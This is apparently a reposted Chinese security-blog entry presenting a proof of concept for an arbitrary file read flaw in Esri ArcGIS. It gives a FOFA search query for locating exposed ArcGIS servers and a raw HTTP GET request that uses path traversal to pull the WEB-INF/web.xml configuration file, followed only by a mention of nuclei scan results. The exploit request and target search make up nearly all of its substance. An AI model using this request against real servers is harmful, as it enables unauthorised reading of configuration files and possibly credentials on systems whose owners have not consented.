FOFA
app="esri-ArcGIS"漏洞复现
POC
GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.1Host:Cache-Control: max-age=0Accept-Language: zh-CNUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36Connection: keep-alive
nuclei运行结果
原文始发于微信公众号（CatalyzeSec）：ArcGIS地理空间平台 任意文件读取漏洞复现及POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论